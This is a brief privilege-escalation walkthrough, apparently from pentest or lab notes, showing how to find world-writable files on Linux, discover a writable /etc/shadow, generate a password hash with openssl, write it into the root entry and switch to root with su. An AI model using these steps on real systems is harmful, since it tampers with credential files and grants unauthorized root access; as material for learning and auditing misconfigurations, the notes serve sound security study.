find / -not -type l -perm -o+w 2>/dev/null
We found that /etc/shadow is world writable.
/etc/shadow
ls -l /etc/shadow
openssl passwd -1 -salt abc password
Add the hash in the root entry in shadow file
su <enter the new password>
Last updated 1 year ago
Was this helpful?